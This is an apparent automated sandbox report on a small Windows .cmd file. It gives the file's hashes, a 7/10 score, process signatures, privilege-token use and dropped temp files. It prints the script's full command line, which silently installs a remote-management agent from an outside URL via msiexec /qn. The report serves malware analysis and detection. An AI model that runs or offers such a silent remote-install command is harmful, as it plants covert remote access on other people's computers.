1a8ab399acdb8561c1c59053f4de8fdebc12a4cfbea5ba513229ecb1d6bfe390

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-10-2024 22:00

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General

Target

1a8ab399acdb8561c1c59053f4de8fdebc12a4cfbea5ba513229ecb1d6bfe390.cmd
Size

265B
MD5

552aac620854ab263f2cbfc738016667
SHA1

814694c7414aefc11517043112bb9c372a7c728b
SHA256

1a8ab399acdb8561c1c59053f4de8fdebc12a4cfbea5ba513229ecb1d6bfe390
SHA512

124ff66046e0aad66af6bb2782388aaca88a5efd1886ddcbf5494e07e50c9d9d3ed6b79905728366e259a8b297a25556b1a5c6f09e862f576d538901916ac4f3

Score

7^/10

Malware Config

Signatures

Use of msiexec (install) with remote resource 1 IoCs

Processes:

msiexec.exe

pid	Process
2668	msiexec.exe

Blocklisted process makes network request 2 IoCs

Processes:

msiexec.exe

flow	pid	Process
5	2768	msiexec.exe
7	2768	msiexec.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

msiexec.exe

pid	Process
2668	msiexec.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	Process
Token: SeShutdownPrivilege	2668	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2668	msiexec.exe
Token: SeRestorePrivilege	2768	msiexec.exe
Token: SeTakeOwnershipPrivilege	2768	msiexec.exe
Token: SeSecurityPrivilege	2768	msiexec.exe
Token: SeCreateTokenPrivilege	2668	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2668	msiexec.exe
Token: SeLockMemoryPrivilege	2668	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2668	msiexec.exe
Token: SeMachineAccountPrivilege	2668	msiexec.exe
Token: SeTcbPrivilege	2668	msiexec.exe
Token: SeSecurityPrivilege	2668	msiexec.exe
Token: SeTakeOwnershipPrivilege	2668	msiexec.exe
Token: SeLoadDriverPrivilege	2668	msiexec.exe
Token: SeSystemProfilePrivilege	2668	msiexec.exe
Token: SeSystemtimePrivilege	2668	msiexec.exe
Token: SeProfSingleProcessPrivilege	2668	msiexec.exe
Token: SeIncBasePriorityPrivilege	2668	msiexec.exe
Token: SeCreatePagefilePrivilege	2668	msiexec.exe
Token: SeCreatePermanentPrivilege	2668	msiexec.exe
Token: SeBackupPrivilege	2668	msiexec.exe
Token: SeRestorePrivilege	2668	msiexec.exe
Token: SeShutdownPrivilege	2668	msiexec.exe
Token: SeDebugPrivilege	2668	msiexec.exe
Token: SeAuditPrivilege	2668	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2668	msiexec.exe
Token: SeChangeNotifyPrivilege	2668	msiexec.exe
Token: SeRemoteShutdownPrivilege	2668	msiexec.exe
Token: SeUndockPrivilege	2668	msiexec.exe
Token: SeSyncAgentPrivilege	2668	msiexec.exe
Token: SeEnableDelegationPrivilege	2668	msiexec.exe
Token: SeManageVolumePrivilege	2668	msiexec.exe
Token: SeImpersonatePrivilege	2668	msiexec.exe
Token: SeCreateGlobalPrivilege	2668	msiexec.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 2652 wrote to memory of 2668	2652	cmd.exe	31
PID 2652 wrote to memory of 2668	2652	cmd.exe	31
PID 2652 wrote to memory of 2668	2652	cmd.exe	31
PID 2652 wrote to memory of 2668	2652	cmd.exe	31
PID 2652 wrote to memory of 2668	2652	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1a8ab399acdb8561c1c59053f4de8fdebc12a4cfbea5ba513229ecb1d6bfe390.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\system32\msiexec.exe
  msiexec /i "https://HelpdeskSupport1723951882589.servicedesk.atera.com/GetAgent/Msi/?customerId=2&customerName=FUD&integratorLogin=wupdate10hotmail.com&accountId=001Q300000LYyQnIAL" /qn [email protected] CompanyId=2 AccountId=001Q300000LYyQnIAL
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of AdjustPrivilegeToken
  PID:2668

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:2768

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab2B56.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

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C:\Users\Admin\AppData\Local\Temp\Tar2B69.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

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